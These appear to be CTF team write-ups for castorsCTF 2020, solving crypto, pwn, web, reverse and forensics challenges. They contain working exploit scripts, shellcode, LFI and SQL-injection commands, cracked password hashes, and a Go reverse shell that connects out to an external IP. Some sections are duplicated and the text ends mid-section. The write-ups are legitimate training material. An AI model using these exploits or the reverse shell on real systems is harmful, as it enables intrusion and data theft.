The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
